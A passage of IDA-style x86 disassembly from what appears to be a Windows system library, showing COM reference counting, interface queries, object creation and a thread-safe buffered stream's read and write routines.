mov dword ptr [esi+10h], offset off_69B2A7EC
mov eax, esi
pop esi
retn
sub_69B81908 endp
; =============== S U B R O U T I N E =======================================
sub_69B81933 proc near ; DATA XREF: .text:off_69B2A800o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B817C6
test [esp+4+arg_0], 1
jz short loc_69B8194B
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B8194B: ; CODE XREF: sub_69B81933+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B81933 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B81952 proc near ; CODE XREF: sub_69B7E2EC+55p
; sub_69B7E2EC+63p ...
var_2C = word ptr -2Ch
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi]
push edi
xor ebx, ebx
lea ecx, [ebp+arg_4+2]
push ecx
push esi
mov [ebp+var_1C], ebx
mov [ebp+var_18], ebx
mov [ebp+var_14], ebx
mov [ebp+var_10], ebx
mov [ebp+var_4], ebx
call dword ptr [eax+0B8h]
mov edi, eax
cmp edi, ebx
jl loc_69B81A29
cmp word ptr [ebp+arg_4+2], 0FFFFh
jz short loc_69B819A2
mov eax, [esi]
push 0FFFFFFFFh
push esi
call dword ptr [eax+0B4h]
mov edi, eax
cmp edi, ebx
jl loc_69B81A29
loc_69B819A2: ; CODE XREF: sub_69B81952+39j
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
push offset dword_69B2B050
push esi
call dword ptr [eax]
mov edi, eax
cmp edi, ebx
jl short loc_69B81A29
mov eax, [ebp+var_4]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push 2
push [ebp+arg_0]
push eax
call dword ptr [ecx+1Ch]
mov edi, eax
cmp edi, ebx
jl short loc_69B81A29
mov eax, [ebp+arg_8]
push ebx
mov [ebp+var_24], eax
push ebx
push ebx
lea eax, [ebp+var_2C]
mov [ebp+var_1C], eax
lea edx, [ebp+var_1C]
push edx
lea eax, [ebp+var_8]
mov [ebp+var_18], eax
push 4
xor eax, eax
inc eax
push 400h
push [ebp+var_C]
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov eax, [ebp+var_4]
mov [ebp+var_8], 0FFFFFFFDh
mov [ebp+var_2C], 9
mov ecx, [eax]
push eax
call dword ptr [ecx+20h]
mov edi, eax
cmp edi, ebx
jl short loc_69B81A29
cmp word ptr [ebp+arg_4+2], 0FFFFh
jz short loc_69B81A29
mov eax, [esi]
push ebx
push esi
call dword ptr [eax+0B4h]
mov edi, eax
loc_69B81A29: ; CODE XREF: sub_69B81952+2Ej
; sub_69B81952+4Aj ...
mov eax, [ebp+var_4]
cmp eax, ebx
jz short loc_69B81A36
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B81A36: ; CODE XREF: sub_69B81952+DCj
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B81952 endp
; =============== S U B R O U T I N E =======================================
sub_69B81A3F proc near ; DATA XREF: .text:69B2A69Co
; .text:69B2A808o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
push eax ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
retn 4
sub_69B81A3F endp
; =============== S U B R O U T I N E =======================================
sub_69B81A50 proc near ; DATA XREF: .text:69B2A80Co
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea eax, [esi+4]
push eax ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
mov edi, eax
test edi, edi
jnz short loc_69B81A73
test esi, esi
jz short loc_69B81A73
mov eax, [esi]
push 1
mov ecx, esi
call dword ptr [eax+38h]
loc_69B81A73: ; CODE XREF: sub_69B81A50+14j
; sub_69B81A50+18j
mov eax, edi
pop edi
pop esi
retn 4
sub_69B81A50 endp
; =============== S U B R O U T I N E =======================================
sub_69B81A7A proc near ; CODE XREF: sub_69B80D36+2Ap
push esi
mov esi, ecx
mov ecx, [esi+20h]
call sub_69B822CE
mov ecx, [esi+20h]
push 0
call sub_69B8259B
pop esi
retn
sub_69B81A7A endp
; =============== S U B R O U T I N E =======================================
sub_69B81A91 proc near ; CODE XREF: .text:69B81EA9p
push esi
mov esi, ecx
mov eax, [esi+4]
test eax, eax
mov dword ptr [esi], offset off_69B146F8
jz short loc_69B81AA7
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B81AA7: ; CODE XREF: sub_69B81A91+Ej
mov eax, [esi+8]
and dword ptr [esi+4], 0
test eax, eax
jz short loc_69B81AB8
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B81AB8: ; CODE XREF: sub_69B81A91+1Fj
and dword ptr [esi+8], 0
pop esi
jmp sub_69B2C65C
sub_69B81A91 endp
; =============== S U B R O U T I N E =======================================
sub_69B81AC2 proc near ; DATA XREF: .text:69B14714o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+8]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+1Ch]
retn 8
sub_69B81AC2 endp
; =============== S U B R O U T I N E =======================================
sub_69B81AD6 proc near ; DATA XREF: .text:69B14718o
arg_0 = dword ptr 4
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push [esp+arg_10]
mov eax, [esp+4+arg_0]
mov eax, [eax+4]
push [esp+4+arg_C]
mov ecx, [eax]
push eax
call dword ptr [ecx]
retn 14h
sub_69B81AD6 endp
; =============== S U B R O U T I N E =======================================
sub_69B81AED proc near ; DATA XREF: .text:69B1472Co
; .text:69B2A5E8o
xor eax, eax
inc eax
retn 8
sub_69B81AED endp
; =============== S U B R O U T I N E =======================================
sub_69B81AF3 proc near ; DATA XREF: .text:69B14730o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+4]
mov ecx, [esp+arg_4]
mov [ecx], eax
xor eax, eax
retn 8
sub_69B81AF3 endp
; =============== S U B R O U T I N E =======================================
sub_69B81B05 proc near ; DATA XREF: .text:69B14748o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [esp+4+arg_0]
push [esp+4+arg_8]
mov eax, [eax+8]
push [esp+8+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+50h]
xor eax, eax
retn 10h
sub_69B81B05 endp
; =============== S U B R O U T I N E =======================================
sub_69B81B23 proc near ; DATA XREF: .text:69B14750o
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov dword ptr [eax], 6
xor eax, eax
retn 8
sub_69B81B23 endp
; ---------------------------------------------------------------------------
loc_69B81B32: ; DATA XREF: .text:off_69B146F8o
mov eax, [esp+8]
push ebx
push esi
push edi
push 4
pop edx
mov ecx, edx
mov edi, offset stru_69B1CA6C
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B81B85
mov ecx, edx
mov edi, offset dword_69B81BA0
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B81B85
mov ecx, edx
mov edi, offset dword_69B2B020
mov esi, eax
xor ebx, ebx
repe cmpsd
jz short loc_69B81B85
mov esi, eax
mov ecx, edx
mov edi, offset stru_69B2B010
xor eax, eax
repe cmpsd
jz short loc_69B81B85
mov eax, [esp+18h]
and [eax], ebx
mov eax, 80004002h
jmp short loc_69B81B97
; ---------------------------------------------------------------------------
loc_69B81B85: ; CODE XREF: .text:69B81B49j
; .text:69B81B58j ...
mov eax, [esp+10h]
mov ecx, [esp+18h]
mov [ecx], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
loc_69B81B97: ; CODE XREF: .text:69B81B83j
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
align 10h
dword_69B81BA0 dd 10Ch, 0 dd 0C0h, 46000000h
; =============== S U B R O U T I N E =======================================
sub_69B81BB0 proc near ; CODE XREF: .text:69B8848Dj
; DATA XREF: .text:69B146FCo ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 0Ch
push eax ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
retn 4
sub_69B81BB0 endp
; ---------------------------------------------------------------------------
loc_69B81BC1: ; DATA XREF: .text:69B14704o
push esi
push edi
mov edi, [esp+10h]
mov esi, (offset dword_69B14600+10h)
movsd
movsd
movsd
movsd
pop edi
xor eax, eax
pop esi
retn 8
; =============== S U B R O U T I N E =======================================
sub_69B81BD7 proc near ; DATA XREF: .text:69B1470Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
add esi, 8
cmp dword ptr [esi], 0
jnz short loc_69B81C09
push esi ; ppv
push offset stru_69B2B010 ; riid
push 1 ; dwClsContext
push 0 ; pUnkOuter
push offset stru_69B81C1C ; rclsid
call ds:CoCreateInstance
test eax, eax
jl short loc_69B81C15
cmp dword ptr [esi], 0
jnz short loc_69B81C09
mov eax, 80004005h
jmp short loc_69B81C15
; ---------------------------------------------------------------------------
loc_69B81C09: ; CODE XREF: sub_69B81BD7+Bj
; sub_69B81BD7+29j
mov esi, [esi]
push [esp+4+arg_4]
mov eax, [esi]
push esi
call dword ptr [eax+14h]
loc_69B81C15: ; CODE XREF: sub_69B81BD7+24j
; sub_69B81BD7+30j
pop esi
retn 8
sub_69B81BD7 endp
; ---------------------------------------------------------------------------
align 4
; CLSID stru_69B81C1C
stru_69B81C1C dd 79EAC9E0h ; Data1 ; DATA XREF: sub_69B81BD7+17o
dw 0BAF9h ; Data2
dw 11CEh ; Data3
db 8Ch, 82h, 0, 0AAh, 0, 4Bh, 0A9h, 0Bh; Data4
; =============== S U B R O U T I N E =======================================
sub_69B81C2C proc near ; DATA XREF: .text:69B14710o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
mov eax, [eax+8]
push [esp+4+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+18h]
retn 0Ch
sub_69B81C2C endp
; =============== S U B R O U T I N E =======================================
sub_69B81C44 proc near ; CODE XREF: sub_69B81E75+3p
push esi
mov esi, ecx
mov eax, [esi+2Ch]
test eax, eax
mov dword ptr [esi], offset off_69B2A804
jz short loc_69B81C68
mov ecx, dword_69B95AD8
test ecx, ecx
jz short loc_69B81C68
push eax
call sub_69B808E7
and dword ptr [esi+2Ch], 0
loc_69B81C68: ; CODE XREF: sub_69B81C44+Ej
; sub_69B81C44+18j
mov ecx, esi
call sub_69B805DC
push dword ptr [esi+8]
call sub_69B1B2B7
add esi, 34h
push esi ; lpCriticalSection
call ds:DeleteCriticalSection
pop esi
jmp sub_69B2C65C
sub_69B81C44 endp
; ---------------------------------------------------------------------------
loc_69B81C87: ; DATA XREF: .text:off_69B2A804o
push esi
mov esi, [esp+0Ch]
push edi
push 4
pop ecx
mov edi, offset stru_69B1CA6C
xor eax, eax
repe cmpsd
jz short loc_69B81CB4
mov esi, [esp+10h]
push 4
pop ecx
mov edi, offset dword_69B2AFF0
xor eax, eax
repe cmpsd
jz short loc_69B81CB4
mov eax, 80004002h
jmp short loc_69B81CC6
; ---------------------------------------------------------------------------
loc_69B81CB4: ; CODE XREF: .text:69B81C99j
; .text:69B81CABj
mov eax, [esp+0Ch]
mov ecx, [esp+14h]
mov [ecx], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
loc_69B81CC6: ; CODE XREF: .text:69B81CB2j
pop edi
pop esi
retn 0Ch
; =============== S U B R O U T I N E =======================================
sub_69B81CCB proc near ; DATA XREF: .text:69B2A818o
mov eax, 80004005h
retn 14h
sub_69B81CCB endp
; =============== S U B R O U T I N E =======================================
sub_69B81CD3 proc near ; DATA XREF: .text:69B2A828o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [eax+14h], ecx
jz short loc_69B81CE5
mov eax, 80004005h
jmp short locret_69B81CED
; ---------------------------------------------------------------------------
loc_69B81CE5: ; CODE XREF: sub_69B81CD3+9j
mov [eax+14h], ecx
mov [eax+10h], ecx
xor eax, eax
locret_69B81CED: ; CODE XREF: sub_69B81CD3+10j
retn 4
sub_69B81CD3 endp
; =============== S U B R O U T I N E =======================================
sub_69B81CF0 proc near ; DATA XREF: .text:69B2A820o
; .text:69B2A82Co ...
mov eax, 80004005h
retn 18h
sub_69B81CF0 endp
; =============== S U B R O U T I N E =======================================
sub_69B81CF8 proc near ; DATA XREF: .text:69B2A81Co
; .text:69B2A834o
mov eax, 80004005h
retn 0Ch
sub_69B81CF8 endp
; =============== S U B R O U T I N E =======================================
sub_69B81D00 proc near ; DATA XREF: .text:69B12698o
; .text:69B2A838o ...
mov eax, 80004005h
retn 8
sub_69B81D00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B81D08 proc near ; DATA XREF: .text:69B2A810o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp [ebx+2Ch], esi
mov [ebp+var_4], esi
jz short loc_69B81D25
lea eax, [ebx+34h]
push eax ; lpCriticalSection
call ds:EnterCriticalSection
loc_69B81D25: ; CODE XREF: sub_69B81D08+11j
mov edx, [ebx+14h]
mov ecx, [ebx+10h]
cmp edx, ecx
jnb short loc_69B81D66
cmp byte ptr [ebx+1Dh], 0
jz short loc_69B81D66
mov eax, [ebp+arg_8]
sub ecx, edx
cmp eax, ecx
jbe short loc_69B81D40
mov eax, ecx
loc_69B81D40: ; CODE XREF: sub_69B81D08+34j
mov esi, [ebx+8]
add esi, edx
push edi
mov edi, [ebp+arg_4]
mov ecx, eax
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
add [ebx+14h], eax
mov ecx, [ebp+arg_C]
mov [ecx], eax
xor esi, esi
pop edi
jmp short loc_69B81D9A
; ---------------------------------------------------------------------------
loc_69B81D66: ; CODE XREF: sub_69B81D08+25j
; sub_69B81D08+2Bj
mov eax, [ebp+arg_C]
mov [eax], esi
cmp byte ptr [ebx+1Eh], 0
jnz short loc_69B81D7A
mov [ebp+var_4], 8000000Ah
jmp short loc_69B81D9A
; ---------------------------------------------------------------------------
loc_69B81D7A: ; CODE XREF: sub_69B81D08+67j
mov eax, [ebx+8]
cmp eax, esi
jz short loc_69B81D87
push eax
call sub_69B1B2B7
loc_69B81D87: ; CODE XREF: sub_69B81D08+77j
mov [ebx+8], esi
mov [ebx+14h], esi
mov [ebx+10h], esi
mov [ebx+0Ch], esi
mov [ebp+var_4], 1
loc_69B81D9A: ; CODE XREF: sub_69B81D08+5Cj
; sub_69B81D08+70j
cmp [ebx+2Ch], esi
jz short loc_69B81DA9
add ebx, 34h
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
loc_69B81DA9: ; CODE XREF: sub_69B81D08+95j
mov eax, [ebp+var_4]
pop esi
pop ebx
leave
retn 10h
sub_69B81D08 endp
; =============== S U B R O U T I N E =======================================
sub_69B81DB2 proc near ; DATA XREF: .text:69B2A824o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp dword ptr [esi+24h], 0
jz short loc_69B81DD9
mov eax, [esi]
push esi
call dword ptr [eax+4]
push 2
mov ecx, esi
call sub_69B81DDF
cmp eax, 0C00CE4FFh
jnz short loc_69B81DD9
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B81DD9: ; CODE XREF: sub_69B81DB2+9j
; sub_69B81DB2+1Fj
xor eax, eax
pop esi
retn 8
sub_69B81DB2 endp
; =============== S U B R O U T I N E =======================================
sub_69B81DDF proc near ; CODE XREF: sub_69B81DB2+15p
; sub_69B81FF0+137p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov eax, [esi+2Ch]
test eax, eax
jz short loc_69B81E17
mov ecx, dword_69B95AD8
push eax
call sub_69B808AE
test eax, eax
jz short loc_69B81E10
movzx ecx, word ptr [esp+4+arg_0]
push esi
push ecx
push 800Ah
push eax
call ds:SHLWAPI_117
xor eax, eax
jmp short loc_69B81E22
; ---------------------------------------------------------------------------
loc_69B81E10: ; CODE XREF: sub_69B81DDF+18j
mov eax, 0C00CE4FFh
jmp short loc_69B81E22
; ---------------------------------------------------------------------------
loc_69B81E17: ; CODE XREF: sub_69B81DDF+8j
push [esp+4+arg_0]
mov ecx, esi
call sub_69B80996
loc_69B81E22: ; CODE XREF: sub_69B81DDF+2Fj
; sub_69B81DDF+36j
pop esi
retn 4
sub_69B81DDF endp
; =============== S U B R O U T I N E =======================================
sub_69B81E26 proc near ; CODE XREF: sub_69B800FB+102p
; sub_69B81EBA+37p
push ebx
push esi
mov esi, ecx
mov dword ptr [esi], offset off_69B2A804
call sub_69B1E031
xor ebx, ebx
lea eax, [esi+34h]
push eax ; lpCriticalSection
mov [esi+1Eh], bl
mov dword ptr [esi+4], 1
mov [esi+8], ebx
mov [esi+18h], ebx
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+0Ch], ebx
mov [esi+1Dh], bl
mov byte ptr [esi+1Ch], 1
mov [esi+24h], ebx
mov [esi+28h], ebx
mov [esi+2Ch], ebx
mov [esi+30h], bl
call ds:InitializeCriticalSection ; InitializeCriticalSection
mov [esi+20h], ebx
mov eax, esi
pop esi
pop ebx
retn
sub_69B81E26 endp
; =============== S U B R O U T I N E =======================================
sub_69B81E75 proc near ; DATA XREF: .text:69B2A83Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B81C44
test [esp+4+arg_0], 1
jz short loc_69B81E8A
push esi
call sub_69B1B2B7
loc_69B81E8A: ; CODE XREF: sub_69B81E75+Dj
mov eax, esi
pop esi
retn 4
sub_69B81E75 endp
; ---------------------------------------------------------------------------
loc_69B81E90: ; DATA XREF: .text:69B14700o
push esi
mov esi, [esp+8]
lea eax, [esi+0Ch]
push eax
call ds:InterlockedDecrement ; InterlockedDecrement
test eax, eax
jnz short loc_69B81EB6
test esi, esi
jz short loc_69B81EB4
mov ecx, esi
call sub_69B81A91
push esi
call sub_69B1B2B7
loc_69B81EB4: ; CODE XREF: .text:69B81EA5j
xor eax, eax
loc_69B81EB6: ; CODE XREF: .text:69B81EA1j
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B81EBA proc near ; DATA XREF: .text:69B1471Co
pvarg = VARIANTARG ptr -1Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
push edi
xor edi, edi
cmp [esi+4], edi
mov [ebp+var_4], edi
mov [ebp+var_8], edi
mov [ebp+var_C], edi
jnz loc_69B81F8B
push 4Ch
mov [ebp+var_C], 1
call sub_69B11E44
cmp eax, edi
jz short loc_69B81EF8
mov ecx, eax
call sub_69B81E26
jmp short loc_69B81EFA
; ---------------------------------------------------------------------------
loc_69B81EF8: ; CODE XREF: sub_69B81EBA+33j
xor eax, eax
loc_69B81EFA: ; CODE XREF: sub_69B81EBA+3Cj
cmp eax, edi
mov [esi+4], eax
jnz short loc_69B81F0B
mov edi, 8007000Eh
jmp loc_69B81F96
; ---------------------------------------------------------------------------
loc_69B81F0B: ; CODE XREF: sub_69B81EBA+45j
cmp ebx, edi
jnz short loc_69B81F19
mov edi, 80004005h
jmp loc_69B81FAF
; ---------------------------------------------------------------------------
loc_69B81F19: ; CODE XREF: sub_69B81EBA+53j
mov eax, [ebx]
lea ecx, [ebp+var_4]
push ecx
push offset aAgg ; "AGG"
push ebx
call dword ptr [eax+28h]
mov edi, eax
test edi, edi
jl short loc_69B81F96
mov eax, [ebp+var_4]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push offset dword_69B2A640
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B81F96
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
mov eax, [ebp+var_8]
mov ecx, [eax]
lea edx, [ebp+pvarg]
push edx
push eax
call dword ptr [ecx+0Ch]
mov edi, eax
test edi, edi
jl short loc_69B81F96
mov eax, dword ptr [ebp+pvarg.anonymous_0+8]
mov edi, eax
mov eax, [eax+30h]
test eax, eax
jz short loc_69B81F77
push 0FFFFFFFFh ; dwMilliseconds
push eax ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
loc_69B81F77: ; CODE XREF: sub_69B81EBA+B2j
push ebx
push dword ptr [esi+8]
mov ecx, edi
push dword ptr [esi+4]
call sub_69B7E5FC
mov edi, eax
test edi, edi
jl short loc_69B81F96
loc_69B81F8B: ; CODE XREF: sub_69B81EBA+1Dj
mov eax, [ebp+arg_10]
and dword ptr [eax], 0
mov edi, 401E8h
loc_69B81F96: ; CODE XREF: sub_69B81EBA+4Cj
; sub_69B81EBA+72j ...
test ebx, ebx
jz short loc_69B81FA5
mov eax, [ebx]
push offset aAgg ; "AGG"
push ebx
call dword ptr [eax+30h]
loc_69B81FA5: ; CODE XREF: sub_69B81EBA+DEj
cmp [ebp+var_C], 0
jz short loc_69B81FC0
test edi, edi
jge short loc_69B81FC0
loc_69B81FAF: ; CODE XREF: sub_69B81EBA+5Aj
mov eax, [esi+4]
test eax, eax
jz short loc_69B81FBC
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B81FBC: ; CODE XREF: sub_69B81EBA+FAj
and dword ptr [esi+4], 0
loc_69B81FC0: ; CODE XREF: sub_69B81EBA+EFj
; sub_69B81EBA+F3j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B81FCD
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B81FCD: ; CODE XREF: sub_69B81EBA+10Bj
mov eax, [ebp+var_8]
and [ebp+var_4], 0
test eax, eax
jz short loc_69B81FDE
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B81FDE: ; CODE XREF: sub_69B81EBA+11Cj
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 14h
sub_69B81EBA endp
; ---------------------------------------------------------------------------
align 4
aAgg: ; DATA XREF: sub_69B81EBA+65o
; sub_69B81EBA+E2o
unicode 0, <AGG>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B81FF0 proc near ; DATA XREF: .text:69B2A814o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_0]
cmp byte ptr [ebx+30h], 0
jz short loc_69B82009
mov eax, 80004005h
jmp loc_69B82156
; ---------------------------------------------------------------------------
loc_69B82009: ; CODE XREF: sub_69B81FF0+Dj
and [ebp+var_4], 0
cmp dword ptr [ebx+2Ch], 0
jz short loc_69B8201D
lea eax, [ebx+34h]
push eax ; lpCriticalSection
call ds:EnterCriticalSection
loc_69B8201D: ; CODE XREF: sub_69B81FF0+21j
mov ecx, [ebx+10h]
mov edx, [ebp+arg_8]
push esi
mov esi, [ebx+0Ch]
lea eax, [ecx+edx]
cmp eax, esi
push edi
jbe loc_69B820E1
mov eax, [ebx+14h]
sub [ebx+18h], eax
sub ecx, eax
add edx, ecx
cmp edx, esi
mov [ebx+10h], ecx
ja short loc_69B82059
mov edx, [ebx+8]
push ecx
add eax, edx
push eax
push edx
call sub_69B22103
add esp, 0Ch
jmp loc_69B820DA
; ---------------------------------------------------------------------------
loc_69B82059: ; CODE XREF: sub_69B81FF0+52j
cmp edx, 100000h
jb short loc_69B8206D
shr edx, 12h
inc edx
shl edx, 12h
mov [ebp+arg_0], edx
jmp short loc_69B82085
; ---------------------------------------------------------------------------
loc_69B8206D: ; CODE XREF: sub_69B81FF0+6Fj
test esi, esi
mov [ebp+arg_0], esi
jnz short loc_69B82080
mov [ebp+arg_0], 4000h
jmp short loc_69B82080
; ---------------------------------------------------------------------------
loc_69B8207D: ; CODE XREF: sub_69B81FF0+93j
shl [ebp+arg_0], 1
loc_69B82080: ; CODE XREF: sub_69B81FF0+82j
; sub_69B81FF0+8Bj
cmp [ebp+arg_0], edx
jb short loc_69B8207D
loc_69B82085: ; CODE XREF: sub_69B81FF0+7Bj
push [ebp+arg_0]
call sub_69B11E44
mov edi, eax
test edi, edi
mov [ebp+var_8], edi
jnz short loc_69B820AF
cmp [ebx+2Ch], eax
jz short loc_69B820A5
add ebx, 34h
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
loc_69B820A5: ; CODE XREF: sub_69B81FF0+A9j
mov eax, 8007000Eh
jmp loc_69B82154
; ---------------------------------------------------------------------------
loc_69B820AF: ; CODE XREF: sub_69B81FF0+A4j
mov ecx, [ebx+10h]
mov esi, [ebx+8]
add esi, [ebx+14h]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push dword ptr [ebx+8]
call sub_69B1B2B7
mov eax, [ebp+var_8]
mov [ebx+8], eax
mov eax, [ebp+arg_0]
mov [ebx+0Ch], eax
loc_69B820DA: ; CODE XREF: sub_69B81FF0+64j
and dword ptr [ebx+14h], 0
mov edx, [ebp+arg_8]
loc_69B820E1: ; CODE XREF: sub_69B81FF0+3Dj
mov edi, [ebx+8]
add edi, [ebx+10h]
mov esi, [ebp+arg_4]
mov ecx, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [ebp+arg_C]
and ecx, 3
rep movsb
mov [eax], edx
add [ebx+10h], edx
xor esi, esi
cmp [ebx+2Ch], esi
jz short loc_69B82113
lea eax, [ebx+34h]
push eax ; lpCriticalSection
call ds:LeaveCriticalSection
loc_69B82113: ; CODE XREF: sub_69B81FF0+117j
cmp [ebx+24h], esi
jz short loc_69B82151
cmp byte ptr [ebx+1Dh], 0
jz short loc_69B82151
cmp byte ptr [ebx+1Ch], 0
jz short loc_69B82132
push esi
mov ecx, ebx
call sub_69B81DDF
mov byte ptr [ebx+1Ch], 0
jmp short loc_69B8214E
; ---------------------------------------------------------------------------
loc_69B82132: ; CODE XREF: sub_69B81FF0+132j
mov eax, [ebx+10h]
mov ecx, eax
sub ecx, [ebx+18h]
cmp ecx, 2000h
jb short loc_69B82151
push 1
mov ecx, ebx
mov [ebx+18h], eax
call sub_69B81DDF
loc_69B8214E: ; CODE XREF: sub_69B81FF0+140j
mov [ebp+var_4], eax
loc_69B82151: ; CODE XREF: sub_69B81FF0+126j
; sub_69B81FF0+12Cj ...
mov eax, [ebp+var_4]
loc_69B82154: ; CODE XREF: sub_69B81FF0+BAj
pop edi
pop esi
loc_69B82156: ; CODE XREF: sub_69B81FF0+14j
pop ebx
leave
retn 10h
sub_69B81FF0 endp
; =============== S U B R O U T I N E =======================================
sub_69B8215B proc near ; CODE XREF: sub_69B7EA18+13p
; sub_69B800FB+129p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
push esi
mov esi, ecx
mov dword ptr [esi], offset off_69B146F8
mov dword ptr [esi+0Ch], 1
mov [esi+4], eax
jz short loc_69B8217C
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B8217C: ; CODE XREF: sub_69B8215B+19j
mov eax, [esp+4+arg_4]
test eax, eax
mov [esi+8], eax
jz short loc_69B8218D
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B8218D: ; CODE XREF: sub_69B8215B+2Aj
call sub_69B1E031
mov eax, esi
pop esi
retn 8
sub_69B8215B endp
; =============== S U B R O U T I N E =======================================
sub_69B82198 proc near ; CODE XREF: sub_69B826F2+ACp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
mov [ecx+2Ch], eax
jz short locret_69B821B3
mov ecx, dword_69B95AD8
test ecx, ecx
jz short locret_69B821B3
push eax
call sub_69B80F03
locret_69B821B3: ; CODE XREF: sub_69B82198+9j
; sub_69B82198+13j
retn 4
sub_69B82198 endp
; =============== S U B R O U T I N E =======================================
sub_69B821B6 proc near ; CODE XREF: sub_69B83AAA+255p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push dword ptr [esi+2Ch]
mov ecx, dword_69B95AD8
call sub_69B808AE
test eax, eax
mov ecx, [esp+4+arg_0]
mov [esi+20h], ecx
jz short loc_69B821E1
push esi
push 0
push 800Bh
push eax
call ds:SHLWAPI_136
loc_69B821E1: ; CODE XREF: sub_69B821B6+1Aj
pop esi
retn 4
sub_69B821B6 endp
; =============== S U B R O U T I N E =======================================
sub_69B821E5 proc near ; CODE XREF: sub_69B8283Ep
; sub_69B82CB4+F8p ...
xor eax, eax
cmp [ecx+70h], al
jnz short locret_69B821FF
cmp [ecx+68h], eax
jnz short locret_69B821FF
cmp [ecx+76h], al
jnz short loc_69B821FC
cmp dword ptr [ecx+58h], 2
jz short locret_69B821FF
loc_69B821FC: ; CODE XREF: sub_69B821E5+Fj
xor eax, eax
inc eax
locret_69B821FF: ; CODE XREF: sub_69B821E5+5j
; sub_69B821E5+Aj ...
retn
sub_69B821E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
